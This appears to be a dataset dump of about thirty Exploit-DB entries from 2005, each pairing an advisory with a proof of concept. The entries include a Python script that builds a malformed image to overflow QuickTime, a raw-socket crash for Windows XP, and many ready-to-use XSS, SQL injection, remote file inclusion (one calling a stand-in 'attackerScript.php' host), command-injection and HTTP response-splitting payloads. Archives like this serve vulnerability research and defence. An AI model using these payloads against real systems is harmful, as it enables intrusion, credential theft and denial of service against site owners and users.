QLWD/code_shield huggingface dataset:
标题: Apple QuickTime 6.5.1 - PictureViewer Buffer Overflow EDB-ID: 25281 CVE: 2005-0903 类型: DOS 平台: WINDOWS 发布日期: 2005-03-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/12905/info

Apple QuickTime is reportedly prone to a buffer overflow when viewing malformed image files.

This issue was reported to exist in QuickTime 6.5.1 for Windows. Other versions may also be affected.

import struct
f=open(raw_input("enter the path to the input file:\n"),"rb")
a=f.read()
f.close()
n=a.index("\xff\xc4")
b=a[:n]+"\xff\xc4\x02\x11\x00\xff\xff"+"\x00"*14+"\x01"*510
+a[n+2+struct.unpack("!H",a[n+2:n+4])[0]:]
f=open(raw_input("enter the path to the output file:\n"),"wb")
f.write(b)
f.close() URL: https://www.exploit-db.com/exploits/25281
标题: ESMI PayPal StoreFront 1.7 - 'pages.php?idpages' SQL Injection EDB-ID: 25278 CVE: 2005-0935 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/12903/info

ESMI PayPal Storefront is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in as SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/hv/ecdis/pages.php?idpages='SQLINJECTION URL: https://www.exploit-db.com/exploits/25278
标题: Dream4 Koobi CMS 4.2.3 - 'index.php' Cross-Site Scripting EDB-ID: 25272 CVE: 2005-0889 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/12895/info

Koobi CMS is reportedly affected by a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/index.php?area=[XSS] URL: https://www.exploit-db.com/exploits/25272
标题: DigitalHive 2.0 - 'msg.php' Cross-Site Scripting EDB-ID: 25263 CVE: 2005-0883 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/12883/info

DigitalHive is reportedly affected by a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/hive/base.php?page=forum/msg.php-afs-1-"/><script>alert()</script>1 URL: https://www.exploit-db.com/exploits/25263
标题: Topic Calendar 1.0.1 - 'Calendar_Scheduler.php' Cross-Site Scripting EDB-ID: 25270 CVE: 2005-0872 类型: WEBAPPS 平台: PHP 发布日期: 2004-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/12893/info

Topic Calendar is reportedly affected by a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/phpbb/calendar_scheduler.php?start=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E URL: https://www.exploit-db.com/exploits/25270
标题: DigitalHive 2.0 - 'membres.php?mt' Cross-Site Scripting EDB-ID: 25264 CVE: 2005-0883 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/12883/info
 
DigitalHive is reportedly affected by a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/hive/base.php?page=membres.php&mt="/><script>alert()</script>1 URL: https://www.exploit-db.com/exploits/25264
标题: Double Choco Latte 0.9.3/0.9.4 - 'main.php' Arbitrary PHP Code Execution EDB-ID: 25271 CVE: 2005-0887 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/12894/info

Double Choco Latte is reported prone to multiple vulnerabilities. These issues result from insufficient sanitization of user-supplied data and may allow an attacker to carry out cross-site scripting/HTML injection attacks and execute arbitrary PHP code on a computer.

Double Choco Latte 0.9.4.3 is reported vulnerable to the cross-site scripting/HTML injection issue.

Double Choco Latte 0.9.4.2 and prior versions are affected by the PHP code execution issue.

This BID will be updated when more information is available.

http://www.example.com/main.php?menuAction=htmlTickets.show;system(id);ob_start URL: https://www.exploit-db.com/exploits/25271
标题: Invision Power Board 1.x/2.0 - HTML Injection EDB-ID: 25267 CVE: 2005-0886 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/12888/info

Invision Power Board is reported prone to an HTML injection vulnerability. This issue arises due to insufficient sanitization of user-supplied data.

It is reported that due to a lack of filtering of HTML tags, an attacker can inject an IFRAME through an HTTP POST request.

All version of Invision Power Board are considered vulnerable at the moment.

This BID will be updated when more information is available. 

<iframe id="frame1" name="frame1" frameborder=0 width=0 height=0
src="http://www.example.com/forums/index.php?act=Msg&CODE=04&MODE=1&entered_name=Woody&msg_title=hi&Post=I%20love%20you!">
</iframe> URL: https://www.exploit-db.com/exploits/25267
标题: PHPSysInfo 2.0/2.3 - 'system_footer.php' Cross-Site Scripting EDB-ID: 25266 CVE: 2005-0870 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/12887/info
 
phpSysInfo is reportedly affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/[phpSysInfo]/includes/system_footer.php?text[language]=">[XSS]
http://www.example.com/[phpSysInfo]/includes/system_footer.php?text[template]=">[XSS]
http://www.example.com/[phpSysInfo]/includes/system_footer.php?hide_picklist=cXIb8O3&VERSION=[XSS] URL: https://www.exploit-db.com/exploits/25266
标题: Microsoft Windows XP - 'TSShutdn.exe' Remote Denial of Service EDB-ID: 25268 CVE: 2005-0904 类型: DOS 平台: WINDOWS 发布日期: 2005-03-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/12889/info

Microsoft Windows XP is prone to a remote denial of service vulnerability. This issue can allow a remote unauthorized user to shutdown an affected computer.

A remote attacker uses the TSShutdn.exe command to restart or shutdown a computer.

It should be noted that the exploitation of this vulnerability may require the attacker to be part of the same domain. This BID will be updated when more information is available.

Microsoft Windows XP Service Pack 1 is affected by this issue. 

Tsshutdn 0 /SERVER:yyyzzz /DELAY:0 URL: https://www.exploit-db.com/exploits/25268
标题: PHPSysInfo 2.0/2.3 - 'sensor_program' Cross-Site Scripting EDB-ID: 25265 CVE: 2005-0870 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/12887/info

phpSysInfo is reportedly affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/[phpSysInfo]/index.php?sensor_program=[XSS] URL: https://www.exploit-db.com/exploits/25265
标题: Vortex Portal 2.0 - 'index.php?act' Remote File Inclusion EDB-ID: 25260 CVE: 2005-0879 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/12878/info

Vortex Portal is reportedly affected by a remote PHP file include vulnerability. This issue is due to a failure in the application to properly sanitize user supplied input.

It is conjectured this vulnerability affects the latest release of Vortex Portal, version 2.0. 

http://www.example.com/index.php?act=http://www.example.com/file URL: https://www.exploit-db.com/exploits/25260
标题: Interspire ArticleLive 2005 - NewComment Cross-Site Scripting EDB-ID: 25262 CVE: 2005-0881 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/12879/info

Interspire ArticleLive 2005 is reportedly affected by a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/articles/newcomment?ArticleId=">&lt;script&gt;alert('hi')&lt;/script&gt; URL: https://www.exploit-db.com/exploits/25262
标题: Microsoft Windows XP - Local Denial of Service EDB-ID: 25259 CVE: 2005-0852 类型: DOS 平台: WINDOWS 发布日期: 2005-03-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/12870/info

It is reported that Microsoft Windows XP Service Pack 1 is prone to a local denial of service vulnerability.

The issue is reported to manifest when a raw IP over IP socket is created and data is transferred over the newly created socket.

It is reported that this operation causes the kernel of the Windows computer to crash, resulting in the computer rebooting. If this issue can be triggered reliably, a local attacker may exploit the issue to deny service for legitimate users.

Further investigation into this issue is ongoing; this BID will be updated as soon as more details are available. 

import socket
s=socket.socket(socket.AF_INET,socket.SOCK_RAW,4)
s.sendto("",("x.x.x.x",0))

Press ENTER and your win box should crash immediately. URL: https://www.exploit-db.com/exploits/25259
标题: Oracle Reports Server 10g - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 25269 CVE: 2005-0873 类型: WEBAPPS 平台: JSP 发布日期: 2005-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/12892/info

Multiple remote cross-site scripting vulnerabilities affect Oracle Reports Server. These issues are due to a failure of the application to properly sanitize user-supplied input prior to including it in dynamically generated Web content.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://paolo/reports/examples/Tools/test.jsp?repprod&desname='&lt;script&gt;alert(document.cookie);&lt;/script&gt;

http://paolo/reports/examples/Tools/test.jsp?repprod"&lt;script&gt;alert(document.cookie);&lt;/script&gt; URL: https://www.exploit-db.com/exploits/25269
标题: Vortex Portal 2.0 - 'content.php?act' Remote File Inclusion EDB-ID: 25261 CVE: 2005-0879 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/12878/info
 
Vortex Portal is reportedly affected by a remote PHP file include vulnerability. This issue is due to a failure in the application to properly sanitize user supplied input.
 
It is conjectured this vulnerability affects the latest release of Vortex Portal, version 2.0. 

http://www.example.com/content.php?act=http://www.example.com/file URL: https://www.exploit-db.com/exploits/25261
标题: Phorum 3.x/5.0.x - HTTP Response Splitting EDB-ID: 25258 CVE: 2005-0843 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/12869/info

A remote HTTP response splitting vulnerability reportedly affects Phorum. This issue is due to a failure of the application to properly sanitize user-supplied input.

A remote attacker may exploit this vulnerability to influence or misrepresent how web content is served, cached or interpreted.

This issue was reported to affect Phorum version 5.0.14a; other versions might also be affected.

http://www.example.com/phorum5/search.php?forum_id=0&search=1&body=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2
034%0d%0a%0d%0a<html>Scanned by PTsecurity</html>%0d%0a&author=1&subject=1&match_forum=ALL&match_type=ALL&match_dates=30 URL: https://www.exploit-db.com/exploits/25258
标题: Kayako ESupport 2.3 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 25257 CVE: 2005-0842 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/12868/info

Kayako ESupport is prone to a cross-site scripting vulnerability.

Multiple parameters of the 'index.php' script can be exploited to pass malicious HTML and script code to the application.

This would occur in the security context of the affected Web site and may allow for theft of cookie-based authentication credentials or other attacks.

ESupport 2.3 is reported vulnerable, however, it is possible that other versions are affected as well. 

http://www.example.com/index.php?_a=knowledgebase&_j=questiondetails&_i=[INT][XSS]

http://www.example.com/index.php?_a=knowledgebase&_j=questionprint&_i=[INT][XSS]

http://www.example.com/index.php?_a=troubleshooter&_c=[INT][XSS]

http://www.example.com/index.php?_a=knowledgebase&_j=subcat&_i=[INT][XSS]

where [INT] is a valid integer value. URL: https://www.exploit-db.com/exploits/25257
标题: BetaParticle blog 2.0/3.0 - 'myFiles.asp' File Manipulation EDB-ID: 25254 CVE: 2005-0854 类型: WEBAPPS 平台: ASP 发布日期: 2005-03-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/12861/info
  
betaparticle blog is reported prone to multiple vulnerabilities. The following individual issues are reported:
  
It is reported that betaparticle blog fails to sufficiently secure the authentication credential database. A remote attacker may exploit this vulnerability to download and disclose the contents of the credential database.
  
This issue is reported to affect betaparticle blog prior to and including version 3.0.
  
It is reported that several betaparticle blog scripts may be accessed by a remote unauthenticated attacker and may be employed to upload and delete arbitrary Web server accessible files. A remote attacker may exploit leverage these scripts to deny service for legitimate users or potentially compromise a target computer.
  
It is reported that these scripts may be leveraged on betaparticle blog versions up to and including version 3.0. 

http://www.example.com/bp/myFiles.asp URL: https://www.exploit-db.com/exploits/25254
标题: BetaParticle blog 2.0/3.0 - 'upload.asp' Arbitrary File Upload EDB-ID: 25253 CVE: 2005-0854 类型: WEBAPPS 平台: ASP 发布日期: 2005-03-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/12861/info
 
betaparticle blog is reported prone to multiple vulnerabilities. The following individual issues are reported:
 
It is reported that betaparticle blog fails to sufficiently secure the authentication credential database. A remote attacker may exploit this vulnerability to download and disclose the contents of the credential database.
 
This issue is reported to affect betaparticle blog prior to and including version 3.0.
 
It is reported that several betaparticle blog scripts may be accessed by a remote unauthenticated attacker and may be employed to upload and delete arbitrary Web server accessible files. A remote attacker may exploit leverage these scripts to deny service for legitimate users or potentially compromise a target computer.
 
It is reported that these scripts may be leveraged on betaparticle blog versions up to and including version 3.0. 

http://www.example.com/bp/upload.asp URL: https://www.exploit-db.com/exploits/25253
标题: FUN labs Game Engine - Multiple Remote Denial of Service Vulnerabilities EDB-ID: 25255 CVE: 2005-0848 类型: DOS 平台: WINDOWS 发布日期: 2005-03-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/12862/info

Multiple FUN labs games are affected by remote denial of service vulnerabilities.

A remote attacker can cause a game server to stop responding by sending an empty UDP packet.

Another vulnerability can allow a remote attacker to send a malformed join packet and crash the server.

These issues can be exploited to cause a denial of service condition in the server. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25255.zip URL: https://www.exploit-db.com/exploits/25255
标题: CzarNews 1.13/1.14 - 'headlines.php' Remote File Inclusion EDB-ID: 25244 CVE: 2005-0859 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/12857/info

CzarNews is prone to a remote file-include vulnerability.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.

CzarNews 1.13b is reported vulnerable; other versions may be affected as well. 

http://www.example.com/research/news/CzarNewsv113b/headlines.php?tpath=http://www.example.org/cn_config.php URL: https://www.exploit-db.com/exploits/25244
标题: BetaParticle blog 2.0/3.0 - dbBlogMX.mdb Direct Request Database Disclosure EDB-ID: 25252 CVE: 2005-0853 类型: WEBAPPS 平台: ASP 发布日期: 2005-03-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/12861/info

betaparticle blog is reported prone to multiple vulnerabilities. The following individual issues are reported:

It is reported that betaparticle blog fails to sufficiently secure the authentication credential database. A remote attacker may exploit this vulnerability to download and disclose the contents of the credential database.

This issue is reported to affect betaparticle blog prior to and including version 3.0.

It is reported that several betaparticle blog scripts may be accessed by a remote unauthenticated attacker and may be employed to upload and delete arbitrary Web server accessible files. A remote attacker may exploit leverage these scripts to deny service for legitimate users or potentially compromise a target computer.

It is reported that these scripts may be leveraged on betaparticle blog versions up to and including version 3.0. 

http://www.example.com/bp/database/dbBlogMX.mdb URL: https://www.exploit-db.com/exploits/25252
标题: TRG News 3.0 Script - Remote File Inclusion EDB-ID: 25243 CVE: 2005-0860 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/12855/info

A remote file include vulnerability affects TRG News. This issue is due to a failure of the application to properly sanitize user-supplied input prior to using it to carry out critical functionality.

Remote attackers could potentially exploit this issue to include a remote, malicious PHP script. Execution of remote scripts would take place in the context of the Web server hosting the vulnerable application. This will facilitate unauthorized access. 

http://www.example.com/trg_news30/trgnews/install/article.php?dir=http://www.example.org/attackerScript.php URL: https://www.exploit-db.com/exploits/25243
标题: PHP-Fusion 4/5 - 'Setuser.php' HTML Injection EDB-ID: 25241 CVE: 2005-0829 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/12853/info

PHP-Fusion is reportedly affected by a HTML injection vulnerability. This issue is due to the application failing to properly sanitize user-supplied input passed to the 'setuser.php' script before using it in dynamically generated content.

This vulnerability is reported to affect PHP-Fusion version 5.01, however the vendor reports that the vulnerability might exist in an alteration that is planned for version 5.02. This alteration was recently released to the PHP-Fusion community as a mod for version 5.01.

<html>

<head>
<title>PHP-Fusion v5.01 Exploit</title>
</head>

<body>

<h1>PHP-Fusion v5.01 Html Injection Exploit</h1>


<form method="POST" action="http://www.example.com/setuser.php">
  <b>XSS in register.php:</b><p>
  Username:
  <input type="text" name="user_name" size="48" value="XSS Injection Code"></p>
  <p>
  Password:
  <input type="text" name="user_pass" size="48" value="XSS Injection Code"></p>
  <p><input type='checkbox' name='remember_me' value='y'>Remember Me<br><br>
  exmple: <script>document.write(document.cookie)</script></p>
  <p>&nbsp;<input type='submit' name='login' value='RUN!' class='button'></p>
</form>
<p>&nbsp;</p>
<p align="center"><a href="http://www.PersianHacker.NET">www.PersianHacker.NET</a></p>

</body>

</html> URL: https://www.exploit-db.com/exploits/25241
标题: PunBB 1.2.3 - Multiple HTML Injection Vulnerabilities EDB-ID: 25230 CVE: 2005-0818 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/12828/info

PunBB is reportedly affected by multiple HTML injection vulnerabilities.

An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible such as the theft of cookie-based authentication credentials.

PunBB 1.2.3 is reported vulnerable, however, other versions may be affected as well. 

example@"/><script>alert()</script>.com URL: https://www.exploit-db.com/exploits/25230
标题: RunCMS 1.1 - Database Configuration Information Disclosure EDB-ID: 25237 CVE: 2005-0828 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/12848/info

RunCMS is reportedly affected by an information disclosure vulnerability. This issue is due to a failure in the application to secure sensitive information.

Exploitation of this vulnerability could lead to the disclosure of database configuration details, including the database name, user name and password.

RunCMS was formerly named E-Xoops. 

http://www.example.com/[runcms]/class/debug/highlight.php?file=[runcmsinstallationpath]\mainfile.php&line=151#151 URL: https://www.exploit-db.com/exploits/25237
标题: CoolForum 0.5/0.7/0.8 - 'register.php?login' SQL Injection EDB-ID: 25240 CVE: 2005-0858 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/12852/info
 
Multiple remote input validation vulnerabilities affect CoolForum. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it to carry out critical functionality.
 
Multiple SQL injection vulnerabilities have been reported and a cross-site scripting vulnerability is also reported.
 
An attacker may leverage these issues to manipulate and view arbitrary database contents by exploiting the SQL injection issues, and to have arbitrary script code executed in the browser of an unsuspecting user by exploiting the cross-site scripting vulnerabilities. 

http://www.example.com/register.php?action=confirm&login='or 1=1 into outfile '/var/www/html/cf_users_with_magic_quotes_on.txt URL: https://www.exploit-db.com/exploits/25240